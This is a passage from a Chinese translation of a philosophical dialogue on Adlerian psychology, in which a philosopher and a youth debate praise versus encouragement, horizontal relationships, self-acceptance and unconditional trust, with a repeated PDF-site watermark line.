通用于学校这个小的共同体的一种常识,其他什么都不是。如果按
照”人的社会“这个共同体来考虑的话,你和教师都是平等的”人“。如果
被提出不合理的要求,那就可以正面拒绝。
青年:但是,与眼前的老师唱反调应该相当困难吧。
see more please visit: https://homeofpdf.com
哲人:不,这也可以拿”我和你“的关系来进行说明,如果是因为你
的反对就能崩塌的关系,那么这种关系从一开始就没有必要缔结,由自
己主动舍弃也无所谓。活在害怕关系破裂的恐惧之中,那是为他人而活
的一种不自由的生活方式。
青年:您是说既要拥有共同体的感觉,又要选择自由?
哲人:当然。没必要固执于眼前的小共同体。更多其他的”我和
你“、更多其他的”大家“、更多大的共同体一定存在。
see more please visit: https://homeofpdf.com
批评不好……表扬也不行?
青年:哎呀,好吧。但是,您注意到了吗?先生您并没有说到关键
问题,也就是从”课题分离“到”共同体感觉“发展的路线。
首先是分离课题。我的课题就到这里,从这里开始属于他人的课
题。划清界限,我不去干涉别人的课题,也不让别人干涉我的课题。那
么,如何从这种”课题分离“中建立人际关系,最终形成”可以在这里“的
共同体感觉呢?阿德勒心理学认为该如何去完成工作、交友、爱之类的
人生课题呢?这些问题您始终没有具体谈,只是用抽象的语言蒙混过去
了。
哲人:是的,重要的就是这里——分离课题如何带来良好的关系。
也就是,如何才能形成相互协调与合作的关系?这里就需要提到”横向
关系“这个概念。
青年:横向关系?
哲人:举一个容易明白的亲子关系的例子。在教育孩子或是培养部
下的时候,一般都认为有两个方法:批评教育法和表扬教育法。
青年:啊,这是经常被拿来讨论的问题。
哲人:你认为批评和表扬应该选择哪一种呢?
青年:当然应该是表扬教育法。
哲人:为什么?
青年:想想动物训练就能够明白。训练动物耍技艺的时候可以挥舞
着鞭子让其顺从,这是典型的”批评教育“的做法。另一方面,也可以一
个手拿着食物并通过语言的赞美让其记住所教技艺。这就是”表扬教
育“。
这两种方法在”掌握技艺“这个结果上也许一样。但是,在”因为被
批评而做“和”想要被表扬而做“这两种情况中,行动对象的动机完全不
同,后者中含有喜悦的成分。因为批评会让对方萎缩,所以只有在表扬
教育下才能茁壮成长。这是理所当然的结论吧。
see more please visit: https://homeofpdf.com
哲人:的确如此。动物训练是很有意思的观点。那么,我要说明一
下阿德勒心理学的立场。关于以育儿活动为代表的一切与他人的交流,
阿德勒心理学都采取”不可以表扬“的立场。
青年:不可以表扬?
哲人:当然,同时也反对体罚、不认可批评。不可以批评也不可以
表扬,这就是阿德勒心理学的立场。
青年:究竟为什么呢?
哲人:请你考虑一下表扬这种行为的实质。例如,假设我赞美你,
说”不错嘛,你做得很好“。你不觉得这种话有些别扭吗?
青年:是的,的确会感觉不愉快。
哲人:为什么感觉不愉快呢?你能说明一下理由吗?
青年:那句”不错嘛,你做得很好“中所包含的俯视般的语感让人不
愉快。
哲人:是的。表扬这种行为含有”有能力者对没能力者所做的评
价“这方面的特点。有的母亲会赞美帮忙准备晚饭的孩子说”你真了不
起“。但是,如果是丈夫做了同样的事情则一般不会表扬说”你真了不
起“吧。
青年:哈哈,的确如此。
哲人:也就是说,用”你真了不起“”做得很好“或者”真能干“之类的
话表扬孩子的母亲无意之中就营造了一种上下级关系——把孩子看得比
自己低。你刚才提到的训练的事情正好象征了一种”表扬“背后的上下级
关系和纵向关系。人表扬他人的目的就在于”操纵比自己能力低的对
方“,其中既没有感谢也没有尊敬。
青年:为了操纵而表扬?
哲人:是的。我们表扬或者批评他人只有”用糖还是用鞭子“的区
别,其背后的目的都是操纵。阿德勒心理学之所以强烈否定赏罚教育,
就因为它是为了操纵孩子。
see more please visit: https://homeofpdf.com
青年:不不,这不对。请您站在孩子的立场考虑一下。对孩子来
说,被父母表扬是无上的喜悦吧?正因为希望得到表扬才努力学习、才
好好表现。实际上,我在小时候就非常希望得到父母的表扬。长大之后
也是一样,如果得到了上司的表扬就会很高兴。这是一种不关乎理论的
本能的感情。
哲人:希望被别人表扬或者反过来想要去表扬别人,这是一种把一
切人际关系都理解为”纵向关系“的证明。你也是因为生活在纵向关系
中,所以才希望得到表扬。阿德勒心理学反对一切”纵向关系“,提倡把
所有的人际关系都看作”横向关系“。在某种意义上,这可以说是阿德勒
心理学的基本原理。
青年:这可以表达为”虽不同但平等“吗?
哲人:是的,是平等即”横向“关系。例如,有些男人会骂家庭主
妇”又不挣钱!“或者”是谁养着你呀?“之类的话,也听到过有人说”钱
随便你花,还有什么不满的呀?“之类的话,这都是多么无情的话呀!
经济地位跟人的价值毫无关系。公司职员和家庭主妇只是劳动场所和任
务不同,完全是”虽不同但平等“。
青年:的确如此。
哲人:他们恐怕是非常害怕女性变得聪明、比自己挣钱多或者是跟
自己顶嘴之类的事情。他们把人际关系都看成是”纵向关系“,害怕被女
性瞧不起,也就是在掩饰自己强烈的自卑感。
青年:是不是在某种意义上已经陷入了想要尽力夸耀自己能力的优
越情结呢?
哲人:是这样的。自卑感原本就是从纵向关系中产生的一种意识。
只要能够对所有人都建立起”虽不同但平等“的横向关系,那就根本
不会产生自卑情结。
青年:嗯,的确。我在想要表扬他人的时候,心中多少也会有
些”操纵“意识。企图通过说一些恭维的话来讨好上司,这也完全是一种
操纵吧。反过来说,我自己也因为被某人表扬而被操纵着。呵呵呵,人
就是这么回事吧!
see more please visit: https://homeofpdf.com
哲人:在无法摆脱纵向关系这个意义上的确如此。
青年:很有意思,请您继续说!
see more please visit: https://homeofpdf.com
有鼓励才有勇气
哲人:在说明课题分离的时候我说过”干涉“这个词。也就是一种对
他人的课题妄加干涉的行为。
那么,人为什么会去干涉别人呢?其背后实际上也是一种纵向关
系。正因为把人际关系看成纵向关系、把对方看得比自己低,所以才会
去干涉。希望通过干涉行为把对方导向自己希望的方向。这是坚信
自己正确而对方错误。
当然,这里的干涉就是操纵。命令孩子”好好学习“的父母就是一个
典型例子。也许本人是出于善意,但结果却是妄加干涉,因为这是想按
照自己的意思去操纵对方。
青年:如果能够建立起横向关系,那也就不会再有干涉吗?
哲人:不会再有。
青年:但是,学习的例子暂且不谈,如果眼前有一个非常苦恼的
人,那总不能置之不理吧?这种情况也可以说一句”我若插手那就是干
涉“而什么也不做吗?
哲人:不可以置之不问。需要做一些不是干涉的”援助“。
青年:干涉和援助有什么不同呢?
哲人:请你想一下关于课题分离的讨论。孩子学习的事情,这是应
该由孩子自己解决的课题,父母或老师无法代替。而干涉就是对别人的
课题妄加干预,做出”要好好学习“或者”得上那个大学“之类的指示。
另一方面,援助的大前提是课题分离和横向关系。在理解了学习是
孩子的课题这个基础上再去考虑能做的事情,具体就是不去居高临下地
命令其学习,而是努力地帮助他本人建立”自己能够学习“的自信以及提
高其独立应对课题的能力。
青年:这种作用并不是强制的吧?
see more please visit: https://homeofpdf.com
哲人:是的,不是强制的,而是在课题分离的前提下帮助他用自己
的力量去解决,也就是”可以把马带到水边,但不能强迫其喝水“。直面
课题的是其本人,下定决心的也是其本人。
青年:既不表扬也不批评?
哲人:是的,既不表扬也不批评。阿德勒心理学把这种基于横向关
系的援助称为”鼓励“。
青年:鼓励?……啊,以前您说过日后要对其进行说明的一个词。
哲人:人害怕面对课题并不是因为没有能力。阿德勒心理学认为这
不是能力问题,纯粹是”缺乏直面课题的‘勇气’“。如果是这样的话,那
就首先应该找回受挫的勇气。
青年:哎呀,这不是又绕回来了吗?结果不还得是表扬吗?人在得
到别人表扬的时候就能体会到自己有能力,继而找回勇气。这一点就不
要固执了,请您承认表扬的必要性吧!
哲人:不承认。
青年:为什么?
哲人:答案很清楚。因为人会因为被表扬而形成”自己没能力“的信
念。
青年:您说什么呀?!
哲人:还要我再重复一遍吗?人越得到别人的表扬就越会形成”自
己没能力“的信念。请你好好记住这一点。
青年:哪里有那种傻瓜呀?!正相反吧?只有得到了表扬才会感觉
自己有能力。这不是理所当然的吗?
哲人:不对。假如你会因为得到表扬而感到喜悦,那就等于是从属
于纵向关系和承认”自己没能力“。因为表扬是”有能力的人对没能力的
人所作出的评价“。
青年:但是但是,这还是难以接受!
see more please visit: https://homeofpdf.com
哲人:如果以获得表扬为目的,那最终就会选择迎合他人价值观的
生活方式。你不就一直因为按照父母的期待生活而感到厌烦吗?
青年:哎……哎呀,这个嘛。
哲人:首先应该进行课题分离,然后应该在接受双方差异的同时建
立平等的横向关系。”鼓励“则是这种基础之上的一种方法。
see more please visit: https://homeofpdf.com
有价值就有勇气
青年:那么,具体应该如何鼓励呢?既不能表扬也不能批评,其他
还有什么话可以选择吗?
哲人:如果考虑一下平等的伙伴给你提供工作帮助的时候,答案自
然就出来了。例如,当朋友帮助你打扫房间的时候,你会说什么呢?
青年:应该会说”谢谢“。
哲人:是的,用”谢谢“来对帮助自己的伙伴表示感谢,或者用”我
很高兴“之类的话来传达自己真实的喜悦,用”帮了大忙了“来表示感
谢。这就是基于横向关系的鼓励法。
青年:仅此而已吗?
哲人:是的。最重要的是不”评价“他人,评价性的语言是基于纵向
关系的语言。如果能够建立起横向关系,那自然就会说出一些更加真诚
地表示感谢、尊敬或者喜悦的话。
青年:嗯,您所说的评价基于纵向关系这一点的确是事实。但
是,”谢谢“这句话真的具有能够助人找回勇气的力量吗?即使是基于纵
向关系的语言,我认为还是得到表扬更令人高兴。
哲人:被表扬是得到他人”很好“之类的评价。而且,判定某种行
为”好“还是”坏“是以他人的标准。如果希望得到表扬,那就只能迎合他
人的标准、妨碍自己的自由。另一方面,”谢谢“不是一种评价,而是更
加纯粹的感谢之词。人在听到感谢之词的时候,就会知道自己能够对别
人有所贡献。
青年:被别人评价说”很好“不也能感觉自己有贡献吗?
哲人:的确如此。这也跟接下来的讨论有关,阿德勒心理学认
为”贡献“这个词非常沉重。
青年:什么意思呢?
哲人:例如,人怎样才能够获得”勇气“?阿德勒的见解是:人只有
see more please visit: https://homeofpdf.com
在能够感觉自己有价值的时候才可以获得勇气。
青年:在能够感觉自己有价值的时候?
哲人:我们在讨论自卑感的时候,不是说过这是主观价值问题吗?
是认为”自己有价值“?还是认为”自己是没有价值的存在“?如果能够认
为”自己有价值“的话,那个人就能够接纳自我并建立起直面人生课题的
勇气。这里的问题是”究竟怎样才能够感觉自己有价值“这一点。
青年:是的,正是如此!这一点必须明确一下!
哲人:非常简单!人只有在可以体会到”我对共同体有用“的时候才
能够感觉到自己的价值。这就是阿德勒心理学的答案。
青年:我对共同体有用?
哲人:就是通过为共同体也就是他人服务能够体会到”我对别人有
用“,不是被别人评价说”很好“,而是主观上就能够认为”我能够对他人
做出贡献“,只有这样我们才能够真正体会到自己的价值。之前讨论到
的”共同体感觉“或”鼓励“的话题也与此紧密相关。
青年:哎呀……思维有点乱了。
哲人:现在的讨论正在接近核心,请你一定紧紧跟上。对别人寄予
关心、建立横向关系、使用鼓励法,这些都能够带给自己”我对别人有
用“这一实际感受,继而就能增加生活的勇气。
青年:对别人有用,因此我就有活着的价值,是这样吗……?
哲人:休息一会儿吧。喝杯咖啡如何?
青年:好的,谢谢。
有关共同体感觉的讨论进一步加深了混乱程度。不能够表扬,也不
可以批评。评价别人的话全都出于”纵向关系“,而我们必须建立起”横
向关系“。还有,我们只有能够感觉自己对别人有用的时候才能体会到
自己的价值……青年感觉这种论调中隐藏着一个大大的漏洞。喝着咖
啡,他想起了自己祖父的事情。
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
只要存在着,就有价值
哲人:那么,你整理好了吗?
青年:正在慢慢整理,已经有头绪了。但是先生,也许您没有注意
到您刚才说了非常荒唐的话,是非常危险的、很可能会否定世界上的一
切的谬论!
哲人:噢,是什么呢?
青年:只有对别人有用才能体会到自己的价值,反过来说就是,对
别人没用的人就没有价值。您是这样说吧?如果按照这种说法往深处想
的话,刚出生不久的婴儿以及卧床不起的老人或病人他们就连活着的价
值也没有了。
为什么呢?接下来我要说一说我祖父的事情。我祖父现在在养老院
里过着卧病在床的生活,因为认知障碍就连儿孙都不认识了,如果没人
照顾就根本活不下去。不管怎么想都好像对别人没什么用。您明白吗先
生?您的理论就等于对我祖父说”像你这样的人根本没有活着的资格“。
哲人:我明确否定这一点。
青年:怎么否定呢?
哲人:当我说明鼓励的概念的时候,有的父母会反驳说:”我家的
孩子从早到晚净做坏事,根本找不到能对他说‘谢谢’或‘你帮了我大忙
了’之类的话的机会。“你说的话恐怕也是出于同样的逻辑吧?
青年:是的。那么,请您解释一下吧!
哲人:你现在是在用”行为“标准来看待他人,也就是那个人”做了
什么“这一次元。的确,按照这个标准来考虑的话,卧病在床的老人只
能靠别人照顾,看上去似乎是没有什么用。因此,请不要用”行为“标准
而是用”存在“标准去看待他人;不要用他人”做了什么“去判断,而应对
其存在本身表示喜悦和感谢。
青年:对于存在本身表示感谢?究竟是什么意思?
see more please visit: https://homeofpdf.com
哲人:如果按照存在标准来考虑的话,我们仅仅因为”存在于这
里“,就己经对他人有用、有价值了,这是不容怀疑的事实。
青年:不不,希望您开玩笑也得有个度啊!仅仅”存在于这里“就对
别人有用,这到底是哪里的新兴宗教呀?!
哲人:例如,假设您母亲遇到了交通事故,而且陷入昏迷甚至有生
命危险。这个时候,你根本不会考虑母亲”做了什么“之类的问题,你会
感到只要母亲活下来就无比高兴,只要今天母亲还活着就谢天谢地。
青年:那……那是当然!
哲人:存在标准上的感谢就是这么回事。病危状态的母亲尽管什么
都做不了,但仅仅她活着这件事本身就可以支撑你和家人的心,发挥巨
大的作用。
你也是一样。如果你危在旦夕的时候,周围的人也会因为”你还存
在着“这件事本身而感到无比高兴,也就是并不要求什么直接行为,仅
仅是平安无事地存在着就非常难能可贵。至少没有不可以这样想的理
由。对于自己,不要用”行为“标准去考虑,而要首先从”存在“标准上去
接纳。
青年:那是极端状态下的情况,日常生活中完全不同!
哲人:不,也一样。
青年:哪里一样呢?请您举一个更加日常化的例子吧,否则我根本
不能接受!
哲人:明白了。我们在看待他人的时候,往往会先任意虚构一
个”对自己来说理想的形象“,然后再像做减法一样地去评价。
例如,父母全都希望自己的孩子学习、运动样样满分,然后上好大
学、进大公司。如果跟这种——根本不存在的——理想的孩子形象相
比,就会对自己的孩子产生种种不满。从理想形象的100分中一点一点
地扣分。这正是”评价“的想法。
不要这样,而应不将自己的孩子跟任何人相比,就把他看作他自
己,对他的存在心怀喜悦与感激,不要按照理想形象去扣分,而是从零
see more please visit: https://homeofpdf.com
起点出发。如果是这样的话,那就能够对”存在“本身表示感谢了。
青年:嗯,这可真是理想论啊。那么,先生是说即使对既不去上学
也不去工作、整天只知道闷在家里的孩子也要说”谢谢“吗?
哲人:当然。例如,假设闲居在家的孩子吃完饭之后帮忙洗碗。如
果说”这种事就算了,快去上学吧“,那就是按照理想的孩子的形象做减
法运算的父母的话。如果这样做,那就会更加挫伤孩子的勇气。
但是,如果能够真诚地说声”谢谢“的话,孩子也许就可以体会到自
己的价值,进而迈出新的一步。
青年:哎呀,这纯粹是一种伪善!这只是伪善者的胡说八道!先生
所说的话——共同体感觉、横向关系、对存在本身的感谢。这些究竟谁
能够做到呢?!
哲人:关于共同体感觉问题,也有人向阿德勒本人提出过同样的疑
问。当时,阿德勒的回答是这样的:”必须得有人开始。即使其他人不
合作,那也跟你没关系。我的意见就是这样:应该由你来开始。不必去
考虑他人是否合作。“我的意见也完全相同。
see more please visit: https://homeofpdf.com
无论在哪里,都可以有平等的关系
青年:由我开始?
哲人:是的。不必去考虑他人是否合作。
青年:那么,我再来问问您。先生您说”人只要活着就对别人有
用,仅仅从活着就能体会到自己的价值“,对吧?
哲人:是的。
青年:但是,这又怎么样呢?我活在这里,不是其他人的”我“活在
这里。但是,我却感觉不到自己的价值。
哲人:为什么认为自己没有价值呢?你能用语言说明一下吗?
青年:还是先生所说的人际关系吧。从孩子时代到现在,我周围的
人,特别是父母,常常把我说成是没出息的弟弟,根本不认可我。先生
您说价值是自己赋予自己的东西。但是,这种话只是纸上谈兵式的空
论。
例如,我在图书馆做的工作,也就是把还回来的书分类归架之类的
事情,这是只要熟悉了就谁都能做的杂务。假如没有了我,还有很多人
可以做。我只不过是被要求提供简单的劳动力,劳动的无论是”我“还
是”其他什么人“抑或是”机器“,这都没关系。没有一个人需要”这个
我“。在这种状态下也可以对自己拥有自信吗?也能够感觉到自己是有
价值的吗?
哲人:从阿德勒心理学来看,答案非常简单:首先与他人之间,只
有一方面也可以,要建立起横向关系来。要从这里开始。
青年:请您不要小瞧我!我也有朋友!与他们之间就能够建立起来
很好的横向关系。
哲人:虽说如此,你与父母或上司、还有后辈或其他人之间建立的
是纵向关系吧。
青年:当然,这要区别对待。谁都是如此吧。
see more please visit: https://homeofpdf.com
哲人:这是非常重要的一点。是建立纵向关系?还是建立横向关
系?这是生活方式问题,人还没有灵活到可以随机应变地分别使用自己
的生活方式,主要是”不可能与这个人平等,因为与这个人是上下级关
系“。
青年:您是说在纵向关系和横向关系中只能选择一种?
哲人:是的。如果你与某人建立起了纵向关系,那你就会不自觉地
从”纵向“去把握所有的人际关系。
青年:您是说我甚至对朋友也用纵向关系去理解?
哲人:没错。即使不按照上司或部下的关系去理解,也会产生诸
如”A君比我强,B君不如我“”要听从A君的意见,但不听B君的“或者”与
C君的约定可以作废“之类的想法。
青年:嗯……
哲人:反过来讲,如果能够与某个人建立起横向关系,也就是建立
起真正意义上的平等关系的话,那就是生活方式的重大转变。以此为突
破口,所有人际关系都会朝着”横向“发展。
青年:哎呀……这种玩笑话我随便就能够驳倒。例如,请想一想公
司里的情况。在公司里,社长和新人结成平等关系,这实际上并不可能
吧?在我们的社会中,上下关系是一种制度,无视这一点就是无视社会
秩序。20岁左右的新人根本不可能像对朋友一样对社长说话吧?
哲人:的确,尊敬长者非常重要。如果是公司组织,职责差异自然
也会存在。并不是说将任何人都变成朋友或者像对待朋友一样去对待每
一个人,不是这样的,重要的是意识上的平等以及坚持自己应有的主
张。
青年:对上司发表傲慢的意见,这我做不到也不想做。如果这样做
的话,那一定会被质疑欠缺社会常识。
哲人:上司是什么?什么是傲慢的意见?察言观色地隶属于纵向关
系,这才是想要逃避自身责任的不负责任的行为。
青年:哪里不负责任呢?
see more please visit: https://homeofpdf.com
哲人:假设你按照上司的指示做,结果工作以失败告终。这是谁的
责任呢?
青年:那是上司的责任。因为作出决定的是上司,我只是按照命令
行事。
哲人:你没有责任吗?
青年:没有。那是发出命令的上司的责任,这就是组织的命令责
任。
哲人:不对,那是人生谎言。你有拒绝和提出更好方法的余地。你
为了逃避其中的人际关系矛盾,也为了逃避责任,而认为”没有拒绝的
余地“,被动地从属于纵向关系。
青年:那么,您是说要反抗上司?哎呀,道理上是如此。在道理
上,完全如您所说。但是,实际做不到啊!不可能建立这种关系!
哲人:是这样吗?你现在就和我建立了这种横向关系,无所顾忌地
说着自己的想法。不要瞻前顾后,可以从这里开始。
青年:从这里开始?
哲人:是的,从这间小小的书房开始。我前面也说过,对我来说,
你是不可替代的朋友。
青年:……
哲人:不是吗?
青年:求之不得,这是求之不得的事情。但是,我有些害怕,害怕
接受先生的这项提议!
哲人:害怕什么呢?
青年:就是交友课题。我从来没有与先生这样的年长者交过朋友,
我一直都不清楚自己到底会不会有忘年交,抑或是应该看成师徒关系!
see more please visit: https://homeofpdf.com
哲人:无论是爱还是交友,都与年龄没有关系:交友课题需要一定
的勇气,这也是事实。关于你和我的关系,我们可以逐渐缩短距离,保
持既不靠得太近但又伸手可及的距离。
青年:请给我一些时间。再一次,就一次,请给我一点儿独自思考
的时间。否则的话,今天的讨论需要思考的内容就太多了。我要把它们
带回家,一个人静静地反复回味一下。
哲人:理解共同体感觉的确需要时间,根本不可能一下子理解所有
内容。你回家之后请对照着我们之前的讨论好好想想。
青年:我一定会的……即使如此,您说我看不见他人只关心自己还
是对我打击很大的!先生,您真是太可怕啦!
哲人:呵呵呵……你看上去谈得很高兴啊。
青年:是的,很痛快,但也有痛苦,痛苦不堪,就像扎了刺一样痛
苦。不过,还是痛快的。我对与先生的辩论好像已经有些上瘾了。刚刚
我才察觉到,有些情况下我并不仅仅是想要驳倒先生,或许也希望被先
生驳倒。
哲人:的确是非常有意思的分析。
青年:但是,请不要忘记。我并不会放弃驳倒先生和让先生拜服的
决心!
哲人:我也很高兴,谢谢你!那么,等你想好了请随时过来。
see more please visit: https://homeofpdf.com
第五夜 认真的人生”活在当下“
青年认真地思考过了。阿德勒心理学彻底追问了人际关系,而且认
为人际关系的最终目的是共同体感觉。但是,真的仅仅如此就可以吗?
我难道不是为了完成更多不同的事情才来到这个世界的吗?人生的意义
是什么?我想要过怎样的人生?青年越想越觉得自己渺小。
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
过多的自我意识,反而会束缚自己
哲人:好久不见啊。
青年:是的,大约隔了一个月了吧。那次之后我一直在思考共同体
感觉的意思。
哲人:怎么样呢?
青年:共同体感觉的确是一个很有吸引力的想法。例如作为我们根
本欲求的”可以在这里“的归属感。这是一种说明我们是社会性生物的深
刻洞察。
哲人:是深刻洞察,但是呢?
青年:呵呵呵……您已经明白了吧。是的,但是还是有问题。坦白
讲,宇宙之类的话题我一点儿也不明白,感觉这些话里充满了宗教气息
和十足的佛教气味。
哲人:在阿德勒提出共同体感觉概念的时候,同样的反对言论也有
很多。心理学本应该是科学,但阿德勒却开始谈论”价值“问题,于是就
有人反驳说”这些不是科学“。
青年:所以,我自己也认真思考了一下为什么会不明白这个问题,
结果我认为也许是顺序问题。如果突然考虑宇宙、非生物、过去或未来
之类的事情,根本就摸不着头脑。
不应该这样,而应首先好好理解”我“,接下来考虑一对一的关系,
也就是”我和你“的人际关系,然后再慢慢扩展到大的共同体。
哲人:的确如此,这是非常好的顺序。
青年:因此,我第一个要问的就是”对自己的执著“这个问题。先生
您说要停止对”我“的执著,换成”对他人的关心“。关心他人很重要,这
一点是事实,我也同意。但是,我们无论怎样都会在意自己、只看到自
己。
哲人:那你想过为什么会在意自己吗?
see more please visit: https://homeofpdf.com
青年:想过。例如,如果我要是像自恋者一样爱自己、迷恋自己的
话,那或许倒也容易解决,因为那就可以对我明确指出”要更多地去关
心他人“。但是,我不是热爱自己的自恋者,而是厌弃自己的现实主义
者。正因为厌恶自己,所以才只关注自己;正因为对自己没有自信,所
以才会自我意识过剩。
哲人:你是在什么样的时候感觉自己自我意识过剩的呢?
青年:例如在开会的时候根本不敢举手发言,总是会因为担心”如
果提这样的问题也许会被人笑话“或者”如果发表离题的意见也许会被人
瞧不起“之类的问题而犹豫不决。哎呀,还不止如此,我甚至都不敢在
人前开个小小的玩笑。自我意识总是牵绊着自己、严重束缚着自己的言
行。我的自我意识根本不允许自己无拘无束地行动。
先生的答案根本不需要问,肯定又是一贯的那句”要拿出勇气“。但
是,那种话对我没有任何作用,因为我这是勇气之前的问题。
哲人:明白了。上一次我说了共同体感觉的整体形象,今天就进一
步阐释一下。
青年:所以,您要说什么呢?
哲人:也许会涉及”幸福是什么“这一主题。
青年:哦!您的意思是共同体感觉中有幸福?
哲人:不必急于得出答案。我们需要的是对话。
青年:呵呵呵,好吧。咱们开始吧!
see more please visit: https://homeofpdf.com
不是肯定自我,而是接纳自我
哲人:首先我们来讨论一下你刚才说到的”受自我意识羁绊,不能
无拘无束行动“的问题,这可能是很多人都有的烦恼。那么,我们再回
到原点去看看你的”目的“是什么。你想要通过小心翼翼的行动获得什么
呢?
青年:为了不被嘲笑、不被小瞧,就是这种想法。
哲人:也就是说,你对本真的自己没有信心吧?所以才尽量避免在
人际关系中展露本真的自己。一个人在房间里的时候,你也一定能够放
声歌唱、随着音乐起舞或者是高谈阔论吧。
青年:呵呵呵,可让您给说中了!一个人的时候我也能够无拘无
束。
哲人:如果是一个人的时候,谁都能够像国王一样无拘无束。总而
言之,这也是应该从人际关系角度出发考虑的问题。因为并不是”本真
的自己“不存在,只是无法在人前展露出来。
青年:那么,怎么办好呢?
哲人:还是共同体感觉。具体来说就是,把对自己的执著
(selfinterest)转换成对他人的关心(socialinterest),建立起共同体感
觉。这需要从以下三点做起:”自我接纳“”他者信赖“和”他者贡献“。
青年:噢,是新的关键词呀。都是什么呢?
哲人:首先从”自我接纳“开始说明。第一夜的时候,我曾经介绍了
阿德勒”重要的不是被给予了什么,而是如何去利用被给予的东西“这句
话,你还记得吧?
青年:当然。
哲人:我们既不能丢弃也不能更换”我“这个容器。但是,重要的
是”如何利用被给予的东西“来改变对”我“的看法和利用方法。
青年:这是指更加积极、获得更强的自我肯定感、凡事都朝前看
see more please visit: https://homeofpdf.com
吗?
哲人:没必要特别积极地肯定自己,不是自我肯定而是自我接纳。
青年:不是自我肯定而是自我接纳?
哲人:是的,这两者有明显差异。自我肯定是明明做不到但还是暗
示自己说”我能行“或者”我很强“,也可以说是一种容易导致优越情结的
想法,是对自己撒谎的生活方式。
而另一方面,自我接纳是指假如做不到就诚实地接受这个”做不到
的自己“,然后尽量朝着能够做到的方向去努力,不对自己撒谎。
说得更明白一些就是,对得了60分的自己说”这次只是运气不好,
真正的自己能得100分“,这就是自我肯定;与此相对,在诚实地接受60
分的自己的基础上努力思考”如何才能接近100分“,这就是自我接纳。
青年:您是说即使得了60分也不必悲观?
哲人:当然,毫无缺点的人根本没有,这在说明优越性追求的时候
已经说过了吧?人都处于”想要进步的状态“。
反过来说也就是,根本没有满分的人。这一点必须积极地承认。
青年:嗯,这话听起来似乎很积极,但同时又有消极的因素。
哲人:所以我要使用”肯定性的达观“这个词。
青年:肯定性的达观?
哲人:课题分离也是如此,要分清”能够改变的“和”不能改变的“。
我们无法改变”被给予了什么“。但是,关于”如何去利用被给予的
东西“,我们却可以用自己的力量去改变。这就是不去关注”无法改变
的“,而是去关注”可以改变的‘这就是我所说的自我接纳。
青年:……可以改变的和无法改变的。
哲人:是的。接受不能更换的事物,接受现实的“这个我”,然后,
see more please visit: https://homeofpdf.com
关于那些可以改变的事情,拿出改变的“勇气”。这就是我接纳。
青年:哦,这么一说……以前有位作家曾引用过这样的话,“上
帝,请赐予我平静,去接受我无法改变的:给予我勇气,去改变我能改
变的;赐我智慧,分辨这两者的区别。”来自一部小说。
哲人:是的,我知道,这是广为流传的“尼布尔的祈祷文”,是一段
非常有名的话。
青年:而且,这里也使用了“勇气”这个词。我本以为己经烂熟于心
了,但现在才察觉到它的意思。
哲人:是的,我们并不缺乏能力,只是缺乏“勇气”。一切都是“勇
气”的问题。
see more please visit: https://homeofpdf.com
信用和信赖有何区别?
青年:但是,这种“肯定性的达观”中总让人感觉有些悲观主义色
彩。讨论了这么长时间就得出“达观”这个结论,这也太令人失望了。
哲人:是吗?达观一词本来就含有“看明白”的意思。看清事物的真
理,这就是“达观”。这并不是什么悲观主义。
青年:看清真理……
哲人:当然,也并不是说做到了肯定性达观的自我接纳就可以获得
共同体感觉。这是事实。还要把“对自己的执著”变成“对他人的关心”,
这就是绝对不可以缺少的第二个关键词——“他者信赖”。
青年:他者信赖也就是相信他人吗?
哲人:在这里需要把“相信”这个词分成信用和信赖来区别考虑。首
先,信用有附加条件,用英语讲就是“credit”。例如,想要从银行贷款,
就必须提供某些抵押。银行会估算抵押价值然后贷给你相应的金
额。“如果你还的话我就借给你”或是“只借给你能够偿还的份额”,这种
态度并不是信赖,而是信用。
青年:是啊,银行融资本来就是这样嘛。
哲人:与此相对,阿德勒心理学认为人际关系的基础不应该是“信
用”,而应该是“信赖”。
青年:这里的信赖是指什么呢?
哲人:在相信他人的时候不附加任何条件。即使没有足以构成信用
的客观依据也依然相信,不考虑抵押之类的事情,无条件地相信。
这就是信赖。
青年:无条件地相信?又是先生您津津乐道的邻人爱吗?
哲人:当然,无条件地相信他人有时也会遭遇背叛。就好比贷款保
证人有时也会蒙受损失一样。即使如此却依然继续相信的态度就叫作信
see more please visit: https://homeofpdf.com
赖。
青年:这是缺心眼儿的老好人!先生也许支持性善说,但我却主张
性恶说,无条件地相信陌生人会遭人利用!
哲人:也许会被欺骗、被利用。但是,请你站在背叛者的立场上去
想一想。如果有人即使被你背叛了,也依然继续无条件地相信你,无论
遭受了什么样的对待依然信赖你。你还能对这样的人屡次做出背信弃义
的行为吗?
青年:……不。哎呀,但是这……
哲人:一定很难做到吧,
青年:什么呀?您是说最终还是要诉诸感情吗?像圣人一样地用信
赖去打动对方的良心吗?阿德勒一边不谈道德,但最终不还是要回到道
德的话题上吗?!
哲人:不是这样!信赖的反面是什么?
青年:信赖的反义词?……哎哎,这个……
哲人:是怀疑。假设你把人际关系的基础建立在“怀疑”之上。怀疑
他人、怀疑朋友、甚至怀疑家人或恋人,生活中处处充满怀疑。
那么,这样究竟会产生什么样的关系呢?对方也能够瞬时感觉到你
怀疑的目光,会凭直觉认为“这个人不信赖我”。你认为这样还能建立起
什么积极的关系吗?只有我们选择了无条件的信赖,才可以构筑更加深
厚的关系。
青年:嗯。
哲人:阿德勒心理学的观点很简单。你现在认为“无条件地信赖别
人只会遭到背叛”。但是,决定背不背叛的不是你,那是他人的课题。
你只需要考虑“我该怎么做”。“如果对方讲信用我也给予信任”,这只不
过是一种基于抵押或条件的信用关系。
青年:您是说这也是课题分离?
see more please visit: https://homeofpdf.com
哲人:是的。就像我反复提到的一样,如果能够进行课题分离,那
么人生就会简单得令你吃惊。但是,即使理解课题分离的原理和原则比
较容易,实践起来也非常困难。这一点我也承认。
青年:那么,难道我们就应该信赖所有人,即使遭到欺骗依然继续
相信,一直做个傻瓜式的老好人吗?这种论调既不是哲学也不是心理
学,这简直是宗教家的说教!
哲人:这一点我要明确否定。阿德勒心理学并没有基于道德价值观
去主张“要无条件地信赖他人”。无条件的信赖是搞好人际关系和构建横
向关系的一种“手段”。
如果你并不想与那个人搞好关系的话,也可以用手中的剪刀彻底剪
断关系,因为剪断关系是你自己的课题。
青年:那么,假设我为了和朋友搞好关系,给予了对方无条件的信
赖。为朋友四处奔走,不计回报地慷慨解囊,总之就是费时又费力。即
使如此依然会遭到背叛。怎么样呢?如果遭到如此信赖的朋友的背叛,
